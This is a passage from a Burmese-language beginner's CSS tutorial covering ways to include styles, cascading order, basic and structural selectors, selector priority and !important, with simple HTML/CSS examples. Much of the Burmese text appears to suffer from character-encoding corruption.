လှမ်းချတိ်တဲ့နည်းပါ။  External  CSS  လ့ုိdခါ်eကပါတယ်။  CSS  က သပ်သပ်၊  HTML က သပ်သပ်dရးပြပီး
dတာ့ ချတိ်dပးလုိက်တာပါ။

 CSS – style.css 
body {
    background: cyan;
    color: brown;
}

 HTML 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    ...
</body>
</html>

နမူနာကိုdလ့လာeကည့်လိုက်ရင် <link> Element ကိုသုံးပြပီး CSS ကုဒ်oုိင်ကို ချတိ်ဆက်ထားgခင်းgoစ်ပါ
တယ်။ ဒီလိုချတိ်ဆက်dပးလုိက်ရင် လက်ရှိ Document ထဲက Element dတွကို doာ်gပတဲ့အခါ ချတိ်ဆက်
dပးထားတဲ့ CSS oုိင်မှာ သတ်မှတ်ထားတဲ့ အသွင်အgပင်သတ်မှတ်ချက်များအတိုင်း doာ်gပdပးသွားမှာပါ။ 

<link> အတွက် rel Attribute နဲ့  href Attribute တို့ ပါဝင်တာကို သတိgပုပါ။ နှစ်ခုလံုး မgoစ်မdန
ပါဝင်ရပါတယ်။  rel ရဲ့တန်oုိးက ပံုdသပါပဲ၊  stylesheet goစ်ရပါတယ်။  <link> ကိုသံုးပြပီး တgခား
Resource အမျ ို းအစားdတွကို ချတိ်လ့ုိ ရပါdသးတယ်။ Favicon dခါ် Icon dတzွာdတွလည်း ချတိ်လို့ရ
တာgoစ်လ့ုိ  CSS Style dတွကို ချတိ်မှန်း ကွဲgပားdအာင် rel မှာ stylesheet လ့ုိ သတ်မှတ်dပးရတာ
ပါ။  href ကdတာ့  CSS  oုိင်တည်ရှရိာ  URL/Path  goစ်ပါတယ်။ dလ့လာစမှာ အများအားgoင့်  CSS  dတွ
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dရးထားdပမယ့် အလုပ်လုပ်zူးဆိုရင်  ဒီdနရာမှာdပးတဲ့  URL/Path  လဲွdန၊  မှားdနeကတာ များပါတယ်။
dသချာမှန်dအာင် dပးရပါတယ်။  <link> Element  ကို  ကြကိုက်တဲ့dနရာမှာ dရးလ့ုိရdပမယ့်  <head>
အတွင်းမှာ  dရးeကdလ့ရှိပါတယ်။  အ့ဲဒီ  Document  အတွက်  အသွင်အgပင်သတ်မှတ်ချက်  dတွကို  ကြကို
deကညာလုိက်တဲ့ သdzာပါ။

dနာက်ထပ်dရးနည်းကိုdတာ့ Internal CSS လ့ုိ dခါ်ပါတယ်။ <head> Section အတွင်းမှာပဲ <style>
Element ကိုသုံးပြပီး CSS ကုဒ်dတွ dရးနိုင်ပါတယ်။ ဒီလုိပါ -

 HTML 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <style>
        body {
            background: cyan;
            color: brown;
        }
    </style>
</head>
<body>
    ...
</body>
</html>

ဒီတစ်ခါ  <style> ကိုသံုးပြပီး  CSS  ကုဒ်dတွ တစ်ခါထဲ dရးdပးလိုက်တာပါ။ အရင်ကdတာ့  <style>
အတွက်  type=text/css ဆိုတဲ့  Attribute  တစ်ခုသတ်မှတ်  dပးရပါတယ်။  အdပါ်မှာdgပာခဲ့သလုိ
Style Language  နှစ်မျ ို းသံုးမျ ို း  ရိှခဲ့ရင်  သံုးလိုတဲ့  Language  အမျ ို းအစားကို  dgပာdပးရတဲ့  သdzာပါ။
အခုdတာ့ CSS တစ်ခုပဲရှိလ့ုိ ထည့်dပးစရာမလုိdတာ့ပါzူး။

dနာက်ဆုံးတစ်နည်းကိုdတာ့  Inline Style  လ့ုိdခါ်ပါတယ်။  HTML Element  နဲ့အတူ  CSS Style  dတွကို
တွdဲရးတဲ့နည်းပါ။ ဒီလုိပါ -
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 HTML 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body style="background: cyan; color: brown;">
    ...
</body>
</html>

style Attribute ကိုသုံးရပါတယ်။ dရးနည်းနည်းထူးgခားသွားပါတယ်။ Selector dတွ တွန့်ကွင်းdတွ မ
ပါdတာ့ပဲ၊ Rule dတွချည်းပဲ တန်းစီပြပီး ချdရးdပးရတာပါ။

အရင်ကဆိုရင်  External  CSS  ကိုသာလျှင်  အသံုးgပုသင့်deကာင်း။  Markup  နဲ့  Style  ကို  ခွဲgခားထားတဲ့
အတွက် gပုgပင်ထိမ်းသိမ်းရ ပုိမုိလွယ်ကူdeကာင်း၊ ခွdဲရးထားတဲ့  External CSS  oုိင်ကို  လုိတဲ့  Document
ကdန ချတိ်သံုးလ့ုိရလ့ုိ ထပ်ခါထပ်ခါ gပန်dရးစရာမလုိdတာ့deကာင်း စသgoင့် External CSS ကိုသာ သံုးeက
o့ုိနဲ့ တgခားနည်းdတွ မသံုးoို့ dgပာရပါတယ်။ အခုdတာ့ dခတ်dတွdgပာင်းပြပီး အကုန်လံုး သ့ူdနရာနဲ့သူ သံုး
လာeကလ့ုိ dရးနည်းအားလံုးကို မှတ်သားထားo့ုိ လုိအပ်ပါတယ်။ 

ပြပီးdတာ့ တစ်ကြကိမ်မှာ dရးနည်း (၁) မျ ို းပဲသံုးရမယ်ဆိုတဲ့ ကန့်သတ်ချက်မျ ို း မရှိပါzူး။ <link> နဲ့ လုိတဲ့
oုိင်  နှစ်ခုသံုးခုကို  ချတိ်သံုးလုိ့ရသလုိ  <style> dတွ  Inline  dတွနဲ့လည်း dရာသံုးလုိ့ရပါတယ်။ အ့ဲဒီလုိ
dရးနည်းအမျ ို းမျ ို း dရာသံုးလ့ုိပဲgoစ်goစ်၊ တစ်မျ ို းတည်း သံုးdပမယ့် dရးထားတဲ့ကုဒ်dတွ တူပြပီးgပန်ထပ်လာ
ရင်ပဲ goစ်goစ်  CSS  ရဲ့ အလုပ်လုပ်သွားတဲ့ ပံုစံကိုလည်း ထည့်သွင်းမှတ်သားရပါမယ်။ အ့ဲဒါကို  Cascading
Order လ့ုိdခါ်ပါတယ်။
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Cascading Order
Cascading Order  မှာ အeကမ်းoျင်းအားgoင့်  ချတိ်ဆက်ထည့်သွင်းတဲ့နည်း တရူင် dနာက်မှdရးတဲ့ကုဒ်ကို
အတည်ယူတယ်လ့ုိ မှတ်ထားdပးပါ။ ဒီလုိ နှစ်ခုချတိ်ထားတယ် ဆိုပါစို့ -

 HTML 
<link rel="stylesheet" href="a.css">
<link rel="stylesheet" href="b.css">

a.css နဲ့  b.css ထဲမှာ  dရးထားတဲ့ကုဒ်တူတာပါလာရင်  b.css ကို  အတည်ယူသွားမှာပါ။  သူက
dနာက်မှ ချတိ်ပြပီး ထည့်ထားတာမ့ုိလုိ့ပါ။ အပြမဲတမ်းdတာ့မဟုတ်ပါzူး၊ အများအားgoင့် ဒီသdzာနဲ့ အလုပ်
လုပ်ပါတယ်။ 

External, Internal စသgoင့် နည်းdတွ dရာသံုးတဲ့အခါ အလုပ်လုပ်သွားတဲ့ အစီအစဉ်က ဒီလိုပါ -

1. Browser Default
2. External Style
3. Internal Style
4. Inline Style

Browser Default ဆိုတာ ကိုယ်dရးdပးထားတဲ့  CSS မဟုတ်zဲ Web Browser dတွက အလုိအdလျှာက်
သတ်မှတ်dပးတဲ့  Style dတွကိုdgပာတာပါ။ ဥပမာ <h1> ဆိရုင် စာလံုးကြကီးကြကီးgပတယ်။ <p> dတွတစ်ခု
နဲ့တစ်ခု နည်းနည်းခွာပြပီးgပတယ်ဆိုတာ Browser Default Style dတွdeကာင့်ပါ။ အ့ဲဒါdတွကိုအရင် အလုပ်
လုပ်ပါတယ်။ ပြပီးdတာ့မှ  External Style  dတွကိုအလုပ်လုပ်ပါတယ်။ ပြပီးdတာ့မှ  Internal Style  dတွကို
အလုပ်လုပ်ပြပီး  dနာက်ဆုံးမှ  Inline Style  ကိုအလုပ်လုပ်ပါတယ်။ ကုဒ်dတွ ထပ်dန၊  တူdနရင် dနာက်မှ
အလုပ်လုပ်တဲ့ကုဒ်က အတည်goစ်မှာ goစ်ပါတယ်။

တတူယ်ဆိုတဲ့dနရာမှာ ဒီလုိပံုစံမျ ို းdတွ လာနိုင်ပါတယ်။
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 CSS – a.css 
body {
    background: cyan;
    color: brown;
}

 CSS – b.css 
body {
    background: yellow;
}

a.css ထဲမှာ dရးထားတဲ့ကုဒ်နဲ့ b.css ထဲမှာ dရးထားတဲ့ကုဒ် ဆင်တူdနပါပြပီ။ ဒါdeကာင့် dနာက်မှdရး
တဲ့  b.css ထဲကကုဒ်ကို  အတည်ယူသွားမှာပါ။  ဒါdပမယ့်  Rule  dတွကိုeကည့်လုိက်ရင်  background
တစ်ခုပဲ တူတာgoစ်ပြပီး color က မတူပါzူး။ ဒါdeကာင့် dနာက်ဆုံးရလဒ်က ဒီလုိgoစ်မှာပါ။

 CSS 
body {
    background: yellow;
    color: brown;
}

background က  b.css ထဲမှာ  dရးထားတဲ့အတိုင်း  yellow goစ်သွားdပမယ့်  color ကdတာ့
a.css မှာ  dရးခဲ့တဲ့အတိုင်း  brown goစ်dနမှာgoစ်ပါတယ်။  CSS  dလ့လာတဲ့အခါ  ဒါdတွနားလည်oို့
အdရးကြကီးပါတယ်။  မဟုတ်ရင်  dရးတဲ့အတိုင်းလည်း  အလုပ်မလုပ်zူး၊  zာdတွမှန်းမသိzူး  ဆိုပြပီးdတာ့
စိတd်တွ ညစ်သွားတတ်ပါတယ်။ CSS ဟာ လွယ်မdယာင်dယာင်နဲ့ နည်းနည်းခက်ပါတယ်။

dနာက်မှdရးတဲ့ကုဒ်ကို အတည်ယူတယ်ဆိုတာနဲ့ ပက်သက်ရင် ခြွခင်းချက်dတာ့ ရှိပါတယ်။  Selector  ချင်း
တူdနရင် ပုိတိကျတာကို အရင်dရးdရး dနာက်မှdရးdရး အတည်ယူပါတယ်။ ဒီလုိပါ -
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 CSS 
body div {
    background: cyan;
}

div {
    background: yellow;
}

div ဆိုတာလည်း <div> Element dတွကိုdgပာတာပါပဲ။  body div ဆိုတာက <body> ထဲမှာရှိတဲ့
<div> လ့ုိdgပာတာgoစ်လ့ုိ  <div> dတွကို  dgပာတာပါပဲ။  တစ်ကယ်တမ်းက  အတူတူပါပဲ။  ဒါdပမယ့်
body div ဆိုတဲ့  Selector  က  div ဆိုတဲ့  Selector  ထက်  ပုိတိကျလ့ုိ  သ့ူကိုအရင်dရးထားdပမယ့်
လည်း  သ့ူကိုအတည်ယူပြပီး  အလုပ်လုပ်dပးသွားမှာပါ။  နမူနာကုဒ်အရ  <div> ရဲ့  background ဟာ
cyan ပဲgoစ်မှာ goစ်ပါတယ်။ 

CSS Selectors
CSS မှာ Selector dတွ အမျ ို းမျ ို းရှိပါတယ်။ အdgခခံ Selector (၄) မျ ို းကdန စeကည့်eကပါမယ်။

• Element/Type Selector
• ID Selector
• Class Selector 
• Attribute Selector

Element  Selector  (သ့ုိမဟုတ်)  Type  Selector  ဆိုတာ  လုိရင်းကdတာ့  HTML  Element  ရဲ့  အမည်
အတိုင်း  Select  လုပ်တာပါ။  body ဆိရုင်  <body> Element  dတွကို  Select  လုပ်တာပါ။  div ဆိုရင်
<div> Element  dတွကို  Select  လုပ်တာပါ။  p ဆိရုင်  <p> Element  dတွကို  Select  လုပ်တာပါ။ ဒါ
deကာင့် အရိုးရှင်းဆုံးနဲ့ အdgခခံအကျဆုံး Selector လ့ုိ ဆိုနိုင်ပါတယ်။

ID Selector ကိုdတာ့ dရှ့ ကdန # သdက[တdလးခံပြပီး dရးdပးရပါတယ်။ p#note ဆိုရင် <p> Element
dတွထဲက id Attribute မှာ note လ့ုိdပးထားတဲ့  Element ကိုdရွးယူလုိက်တာပါ။ #note ဆိရုင်dတာ့
<p> dတွ <div> dတွမdgပာdတာ့zဲ၊ id Attribute မှာ note လ့ုိdပးထားတဲ့ Element ကို Select လုပ်
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ယူတာပါ။  နှစ်မျ ို းdရးလုိ့ရတဲ့သdzာ  goစ်ပါတယ်။  dရှ့ကdန  Element  ထည့်dရးလ့ုိရသလုိ၊  မထည့်zဲ
လည်း dရးလ့ုိရပါတယ်။

Class Selector  ကိုdတာ့  dရှ့ ကdန  Dot  (.) သdက[တdလးခံပြပီး  dရးdပးရပါတယ်။  p.note ဆိုရင်
<p> Element dတွထဲက class Attribute  မှာ  note လ့ုိdပးထားတဲ့  Element dတွကို dရွးယူတာပါ။
.note ဆိရုင်ရင်dတာ့ <p> dတွ <div> dတွ မdgပာdတာ့zဲ class Attribute မှာ note လ့ုိdပးထား
သမျှ Element အားလံုးကို Select လုပ်ယူလိုက်တာပါ။

goည့်စွက်သတိgပုdပးပါ။  id ဆိုတာ gပန်မထပ်ရပါzူး။  id     တူdနတဲ့    Element   dတွမရှိသင့်ပါzူး  ။ တစ်ခု
ထဲ သီးသန့်goစ်သင့်ပါတယ်။ gပန်ထပ်လ့ုိ id အတူတူ နှစ်ခုသံုးခုdပးထားလ့ုိ Error တက်မှာ မဟုတ်dပမယ့်
မdပးသင့်ပါzူး။  သူ့ရည်ရွယ်ချက်ကိုက  Element  အတွက်  Unique  ID  dပးo့ုိအတွက်မို့လ့ုိပါ။  class
ကdတာ့  အမျ ို းအစားတူတဲ့    Element    တိုင်းကို    class     အတူတူdပးလို့ရပါတယ်  ။ သ့ူရည်ရွယ်ချက်ကိုက
အမျ ို းတူရာ Element dတွကို အတူတူစုdပးo့ုိပါ။ dနာက်ထပ်goည့်စွက် မှတ်သားရမှာကdတာ့ class ရဲ့
Value ဟာ တစ်ခုထက်ပိုdပးလို့ရgခင်း goစ်ပါတယ်။ ဒီလုိပါ -

 HTML 
<p class="alert note active"> … </p>

နမူနာအရ <p> Element မှာ alert, note နဲ့ active ဆိုတဲ့ class တန်oုိး (၃) ခုထိရှိdနတာပါ။
အ့ဲဒီလုိdပးလ့ုိရပါတယ်။

Attribute Selector ကdတာ့ Element ရဲ့ Attribute ကိုeကည့်ပြပီး Select လုပ်တာပါ။ img[alt] ဆိုရင်
<img> Element  dတွထဲကမှ  alt Attribute  ရှိတဲ့  Element  dတွကိုချည်းပဲ  dရးွလုိက်တာပါ။  alt
Attribute  မရှရိင် ထည့်မdရွးပါzူး။  input[type=submit] ဆိရုင်dတာ့  <input> Element dတွ
ထဲကမှာ type=submit dတွကိုချည်းပဲ dရွးလုိက်တာပါ။ ဒါdeကာင့် Attribute Selector နဲ့ Select လုပ်
တဲ့အခါ  Attribute  ချည်းပဲdပးပြပီး  Select  လုပ်လုိ့ရသလုိ  Attribute=Value  လ့ုိအgပည့်အစုံdပးပြပီးdတာ့
လည်း Select လုပ်လ့ုိရမှာ goစ်ပါတယ်။ ဒီ (၄) မျ ို းလံုးကို အခုလုိ လက်dတွ့ စမ်းeကည့်လုိက်ပါ။
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 HTML 
<p>Browser List</p>
<p class="browser" id="popular">Google Chrome</p>
<p class="browser">Mozilla Firefox</p>
<input type="text">
<input type="submit">

နမူနာအရ <p> Element (၃) ခုပါဝင်ပါတယ်။ တစ်ခုနဲ့တစ်ခု class dတွ id dတွdတာ့ မတူeကပါzူး။
<input> (၂) ခုပါဝင်ပါတယ်။ type dတွ မတူeကပါzူး။ ဒီ Element dတွအတွက် Style သတ်မှတ်ချက်
dတွကို အခုလုိdရးပြပီး စမ်းeကည့်ပါ။

 CSS 
p {
  padding: 10px;
}

.browser {
  background: cyan;
}

#popular {
  font-weight: bold;
}

input[type=text] {
  width: 400px;
}

နမူနာအရ  p Selector  ကိုသံုးပြပီးdရးထားတဲ့  padding ဟာ  <p> Element  များ  အားလံုးdပါ်မှာ
သက်dရာက်dနမှာပါ။  zာgoစ်သွားတာလဲ  gမင်သိdစoို့အတွက်  တန်oုိး  10px ကို  နှစ်သက်ရာတန်oုိးနဲ့
အစားထုိးပြပီး  စမ်းeကည့်နိုင်ပါတယ်။  စမ်းeကည့်သင့်ပါတယ်။  padding ရဲ့  သdzာသzာဝကို  ခဏနေdန
dတာ့မှ ထပ်dgပာပါမယ်။

.browser Selector  ကိုသုံးပြပီးdတာ့  background ထည့်ထားပါတယ်။  ဒါdeကာင့်  class  မှာ
browser လ့ုိ  သတ်မှတ်ထားတဲ့  Element  dတွမှာသာ  ဒီ  background အသက်ဝင်တယ်ဆိုတာကို
dတွ့ရမှာ goစ်ပါတယ်။ ကျန်တဲ့  Element dတွနဲ့ မဆိုင်ပါzူး။ အလားတူပဲ  #popular Selector  ကိုသုံး
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ပြပီးdတာ့ စာလံုးdတွကို  Bold  လုပ်ခိုင်းထားလ့ုိ  id=popular Element  ထဲမှာရှိတဲ့စာကိုပဲ dရွးပြပီးdတာ့
Bold လုပ်dပးသွားမှာgoစ်ပါတယ်။

dနာက်ဆုံးတစ်ခုအdနနဲ့  input[type=text] Selector  ကိုသံုးပြပီး  width သတ်မှတ်ထားပါတယ်။
<input> နှစ်ခုပါဝင်dပမယ့် ဒီ width တန်oုိးဟာ type=text Element dပါ်မှာပဲ သက်dရာက်တယ်
ဆိုတာကို dတွ့ရမှာ goစ်ပါတယ်။

စမ်းတဲ့အခါ အdပါ်မှာdgပာထားတဲ့  နည်း  (၃)  နည်းထဲက  External CSS  အdနနဲ့စမ်းလ့ုိရသလ့ုိ  Internal
CSS  အdနနဲ့လည်း စမ်းလ့ုိရပါတယ်။ ဒါdပမယ့် dလာdလာဆယ် လွယ်သွားdအာင်  Codepen  မှာပဲ စမ်း
eကည့်လိုက်ပါ။ ဒီလုိပါ -

- https://codepen.io/pen

Selector  dတွအdeကာင်း  dgပာdနတာဆိုdပမယ့်  လက်စနဲ့  နမူနာdပးထားတဲ့  Property  dတွကိုလည်း
တစ်ခါထဲ ထည့်မှတ်၊  ထည့်စမ်းdပးပါ။  နားလည်ရ လွယ်ပါတယ်။  Property  ကိုeကည့်လုိက်ယံုနဲ့  zာကို
ဆိုလုိတာလဲဆိုတာ အဓိပ္ပါယ် dပါ်လွင်ပါတယ်။ တန်oုိးdတွကို  ကိုယ့်စိတ်ကူးdလးနဲ့ကိုယ် မှန်းပြပီးgပင်စမ်း
eကည့်နိုင်ပါတယ်။ လက်dတွ့ စမ်းeကည့်တာထက် ပုိdကာင်းတဲ့dလ့လာနည်း မရှိပါzူး။

https://codepen.io/pen
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Selector dတွကို Comma ခံပြပီး Group လုပ်လ့ုိလည်း ရပါတယ်။ ဒီလိုပါ -

 CSS 
h1, h2, h3 {
    color: brown;
}

ဒါဟာ  Selector  သံုးခုကို  တစ်ခါထဲ  Comma  ခံပြပီး  တွဲdရးလုိက်တာပါ။  ဒါdeကာင့်  သတ်မှတ်လုိက်တဲ့
Property ဟာ <h1> <h2> <h3> အားလံုးအdပါ်မှာ သက်dရာက်dတာ့မှာပါ။ 

ဆက်လက်dလ့လာရမှာကdတာ့ Selector dတွကို oဲွ့စည်းပံုdပါ် မူတည်ပြပီး dရွးယူလ့ုိရတဲ့ နည်းdတွgoစ်ပါ
တယ်။ CSS မှာ ဒီလုိ Selector (၄) မျ ို းရှိdပမယ့်၊ (၂) မျ ို းကိုdရွးပြပီးdတာ့ doာ်gပချင်ပါတယ်။

• Descendant Selector
• Child Selector

Descendant Selector ဆိုတာ Element တစ်ခုအတွင်းထဲမှာ ရှိတဲ့ Element dတွကို Select လုပ်တဲ့ နည်း
ပါ။  ဥပမာ  -  ul li ဆိရုင်  <ul> အတွင်းထဲက  <li> dတွကို  Select  လုပ်gခင်းgoစ်ပါတယ်။ တgခား
<li> dတွမပါပါzူး။ div p span ဆိုရင် <div> အတွင်းထဲက <p> အတွင်းထဲက <span> dတွကို
Select  လုပ်တာပါ။ တgခား  <span> dတွ မပါပါzူး။  .alert b ဆိုရင်  class မှာ  alert လ့ုိdပး
ထားတဲ့  Element  dတွအတွင်းထဲက  <b> ကို  Select  လုပ်တာပါ။  စသgoင့်  လုိအပ်သလုိတွဲသံုးလို့ရပါ
တယ်။ အသံုးများပါတယ်။ Element ရဲ့ oဲွ့စည်းပံုကို သိရင် Select လုပ်လုိရ့dနပြပီမုိလုိ့ပါ။

Child Selector ဆိုတာလည်း အတွင်းထဲမှာရှိတဲ့ Element dတွကို Select လုပ်တာပါပဲ။ ဒါdပမယ့် Direct
Child ကိုပဲ Select လုပ်တာပါ။ ဥပမာ ul > li ဆိရုင် <ul> ရဲ့ Direct Child goစ်တဲ့ <li> dတွကိုပဲ
dgပာတာပါ။  ထပ်ဆင့်အဆင့်ဆင့်ရှိdနတဲ့  <li> dတွမပါပါzူး။  ဒီသdzာကို  dပါ်လွင်မယ့်  ဥပမာdလး
တစ်ခု dပးပါမယ်။
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 HTML 
<ul>
  <li>Servers</li>
  <li>
    Browsers
    <ol>
      <li>Chrome</li>
      <li>Firefox</li>
    </ol>
  </li>
</ul>

နမူနာမှာ List က နှစ်ထပ်ပါ။ <ul> List အတွင်းထဲမှာ dနာက်ထပ် <ol> List တစ်ခု ရိှdနပါတယ်။

 CSS 
ul li {
  padding:20px;
  border: 1px solid red;
}

နမူနာအရ  Selector  ကို  ul li လ့ုိdgပာတဲ့အတွက်  <ul> ရဲ့အတွင်းထဲက  <li> အားလံုးdပါ်မှာ  ဒီ
Property  dတွ သက်dရာက်မှာgoစ်ပါတယ်။  <ol> ထဲက  <li> dတွလည်း ပါပါတယ်။ dသချာစဉ်းစား
eကည့်ရင် သူတို့လည်းပဲ ပင်မ <ul> ရဲ့ အတွင်းထဲမှာ ရိှdနတာမ့ုိလို့ပါ။ ဒီလုိပါ – 
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dzာင်ခတ်ပြပီး doာ်gပပါလ့ုိ border Property ကိုသံုးပြပီး dgပာထားတာgoစ်လ့ုိ ရှရိှိသမျှ <li> အားလံုးကို
dzာင်ခတ်ပြပီး gပdနတာပါ။ နမူနာက Selector ကို ကိုယ့်zာသာ ol li  လ့ုိ dgပာင်းပြပီး စမ်းeကည့်ပါ။ ဒါ
ဆိရုင်dတာ့  <ol> အတွင်းထဲက <li> dတွdပါ်မှာသာ သက်dရာကတ်ယ် ဆိုတာကို dတွ့ရပါလိမ့်မယ်။
ဆက်လက်ပြပီး Child Selector goစ်တဲ့ ul > li နဲ့ စမ်းeကည့်ရင်dတာ့ ဒီလုိရလဒ်ကို ရမှာပါ။

ဒီတစ်ခါdတာ့  <ol> ထဲက  <li> dတွ မပါdတာ့ပါzူး။  ul > li လ့ုိdgပာထားတဲ့အတွက်  <ul> ရဲ့
Direct Child goစ်တဲ့ <li> dတွအdပါ်မှာသာ သက်dရာက်gခင်းgoစ်ပါတယ်။ ထပ်ဆင့်ရှိdနတဲ့ <li> dတွ
မပါdတာ့ပါzူး။

Selector Priority
Selector  dတွမှာ  ဦးစားdပးအဆင့်dတွ  ရိှeကပါတယ်။  လုိရင်းကdတာ့  ပုိတိကျရင်  ပုိဦးစားdပးပါတယ်။
ဥပမာ အခုလုိ HTML oဲွ့စည်းပံုရှိတယ် ဆိုeကပါစို့။

 HTML 
<div>
    <ol>
        <li>First</li>
        <li>Second</li>
    </ol>
</div>
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<li> Element dတွကို အခုလုိ ပံုစံအမျ ို းမျ ို းနဲ့ Select လုပ်လ့ုိရနိုင်ပါတယ်။

 CSS 
ol li {
    color: green;
}

li {
    color: red;
}

div li {
    color: blue;
}

div ol li {
    color: brown;
}

Selector  ပံုစံ  (၄)  မျ ို းမှာ  အားလံုးက  နမူနာမှာdပးထားတဲ့  oဲွ့စည်းပံုပါ  <li> Element  dတွdပါ်မှာ
သက်dရာက်မှာdတွ ချည်းပါပဲ။ ဒီdတာ့ zာကို  အတည်ယူပြပီး zယ်လို  အလုပ်လုပ်မှာလဲ စဉ်းစားစရာ ရိှ
လာပါတယ်။ Selector သာ တူမယ်ဆိုရင် dနာက်မှdရးတာကို အတည်ယူသွားမှာပါ။ ဥပမာ -

 CSS 
ol li {
    color: red;
}

ol li {
    color: brown;
}

နမူနာမှာ နှစ်ခါdရးထားပါတယ်။ ol li ဆိုတဲ့ Selector တူeကပါတယ်။ ဒါမျ ို းဆိုရင်dနာက်မှdရးတဲ့ ကုဒ်
ကို  အတည်ယူမှာမ့ုိလို့  <li> ရဲ့  color ဟာ  brown goစ်သွားမှာgoစ်ပါတယ်။ သ့ူအdပါ်က  color:
red ကို အလုပ်မလုပ်dတာ့ပါzူး။

dစာdစာက နမူနာမှာdတာ့ သကd်ရာက်မှုတူdပမယ့် Selector dတွ မတူeကပါzူး။ li, ol li, div
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li, div ol li စသည်goင့်  အမျ ို းမျ ို းကွဲgပားdနပါတယ်။  ဒီလုိကွဲgပားတဲ့အခါမှာdတာ့  အdပါ်မှာပဲ
dရးdရး၊ dအာက်မှာပဲ dရးdရး ပုိတိကျတဲ့ Selector ကို အတည်ယူသွားမှာပါ။ နမူနာမှာ div ol li ဆို
တဲ့  Selector  ဟာ အတိကျဆုံး goစ်တဲ့အတွက် ကျန်  Selector  dတွနဲ့  dရးထားတဲ့  color dတွ တစ်ခုမှ
အလုပ်မလုပ်dတာ့zဲ div ol li နဲ့ dရးထားတဲ့ color: brown ကိုသာ အတည်ယူပြပီး အလုပ်လုပ်
dပးသွားမှာ  goစ်ပါတယ်။  ဒါကို  Selector  Priority  လ့ုိdခါ်ပါတယ်။  CSS  မှာ  ဒါဟာ  dခါင်းစားချင်စရာ
သdzာသzာဝတစ်ခုgoစ်ပါတယ်။

Selector တူရင် dနာက်မှdရးတဲ့  Selector ကို အတည်ယူပြပီး၊  Selector မတူရင် ပုိတိကျတဲ့  Selector ကို
အတည်ယူတယ်လ့ုိ မှတ်နိုင်ပါတယ်။

Element Selector, Class Selector နဲ့ ID Selector တို့မှာ ID Selector က Priority အgမင်ဆုံး၊ ဦးစားdပး
အလုပ်လုပ်မယ့်  Selector  goစ်ပါတယ်။  Element  Selector  ကdတာ့  Priority  အနိမ့်ဆုံးပါ။  Class
Selector ကdတာ့ Element Selector ထက် Priority gမင့်ပြပီး ID Selector ထက် နိမ့်ပါတယ်။ ဒါကိုလည်း
ထည့်သွင်းမှတ်သားသင့်ပါတယ်။

Selector Priority  ကို  Override  လုပ်ချင်ရင်လည်း လုပ်လ့ုိdတာ့  ရပါတယ်။  !important လ့ုိdခါ်တဲ့
dရးထံုးကို အသံုးgပုရပါတယ်။ ဥပမာ ဒီလုိပါ။

 CSS 
div li {
    color: blue !important;
}

div ol li {
    color: brown;
}

နမူနာအရ  div ol li က ပုိတိကျလ့ုိ  Priority  gမင့်ပါတယ်။  ဒါdပမယ့်  div li နဲ့  dရးထားတဲ့
color: blue မှာ !important အမှတ်အသား ပါdနတဲ့အတွက် Priority နဲ့မဆိုင်dတာ့zဲ သ့ူကိုဦး
စားdပးအတည်ယူ အလုပ်လုပ်dပးသွားမှာ goစ်ပါတယ်။ ဒါdeကာင့် <li> ရဲ့ color က blue goစ်သွား
မှာပဲ goစ်ပါတယ်။
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လက်စနဲ့ထည့်သွင်းမှတ်သားသင့်တဲ့ သdzာသzာဝ ရိှပါdသးတယ်။ ဒီလုိပါ။

 CSS 
div li {
    background: yellow;
    color: blue;
}

div ol li {
    color: brown;
}

နမူနာအရ Priority  နိမ့်တဲ့  div li မှာ  color နဲ့  background ဆိုပြပီး သတ်မှတ်ချက် နှစ်ခုပါဝင်ပါ
တယ်။  Priority  gမင့်တဲ့  div ol li မှာdတာ့  color သတ်မှတ်ချက်တစ်ခုပဲ ပါဝင်ပါတယ်။  Priority
gမင့်တဲ့ div ol li ကို ဦးစားdပး အလုပ်လုပ်တဲ့အတွက် <li> ရဲ့ color က brown goစ်သွားမှာပါ။
ဒါdပမယ့် div li မှာ သတ်မှတ်ထားတဲ့  background: yellow လည်း အသက်ဝင်အလုပ်လုပ်မှာ
goစ်ပါတယ်။  Priority  နိမ့်လ့ုိ  ပယ်တယ်ဆိုdပမယ့် သတ်မှတ်ချက်gခင်း တတူာကိုသာ ပယ်မှာပါ။  မတူတဲ့
သတ်မှတ်ချက်dတွကိုdတာ့ dပါင်းပြပီး အလုပ်လုပ်dပးသွားမှာပဲ goစ်ပါတယ်။

ဒါdတွက  စိတ်ရှုပ်စရာ  dကာင်းချင်dကာင်းdနပါလိမ့်မယ်။  ဒီdလာက်ကြကီး  ခက်လှတဲ့သdzာသzာ
ဝdတွdတာ့ မဟုတ်ပါzူး။ စာနဲ့ရှင်းgပရတာထက် လက်dတွ့gပရတာက ပုိdကာင်းနိုင်တဲ့  အdeကာင်းအရာ
မျ ို းdတွ  goစ်dနလ့ုိပါ။  ဒါdeကာင့်  လက်dတွ့ချdရးပြပီး  စမ်းeကည့်လုိက်ပါ။  စာအdနနဲ့  oတ်eကည့်ရတာ
စိတ်ရှုပ်စရာ goစ်dနမယ်ဆိုရင်dတာင် ချdရးeကည့်ပြပီး gမင်သွားတဲ့အခါ ချက်gခင်းသdzာdပါက်သွားတာကို
dတွ့ရပါလိမ့်မယ်။

ဒီ Selector dတွနဲ့ တွဲoက်dလ့လာရတဲ့ Pseudo-Class ဆိုတာ ရှိပါdသးတယ်။ ဆက်eကည့်eကပါမယ်။

Pseudo-Classes
Pseudo-Classes dတွကို dရတွက်eကည့်တဲ့အခါ (၅၀) dကျာ်ရှိdနတာကို dတွ့ရပါတယ်။ အကုန်လံုးdတာ့
တစ်ခါထဲ eကည့်စရာမလုိပါzူး။ အသုံးများမယ့် ဟာdတွကို dရးွမှတ်ထားပြပီး ကျန်တာကို လုိအပ်လာdတာ့
မှ eကည့်လိုက်ရင်ရပါတယ်။ ပထမဆုံး :hover, :active, :visited ဆိုတဲ့ Pseudo-Class (၃)
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ခုကdန စeကည့်ပါမယ်။

Pseudo-class  dတွကို  Selector  dတွနဲ့  တဲွသုံးလ့ုိ ရပါတယ်။ Full-colon (:) နဲ့စပါတယ်။ Full-colon
နှစ်ခု (::) နဲ့dရးရတဲ့ Pseudo-Element ဆိုတာdတွ ရိှပါdသးတယ်။ အ့ဲဒါdတွကိုdတာ့ ထည့်မeကည့်ချင်
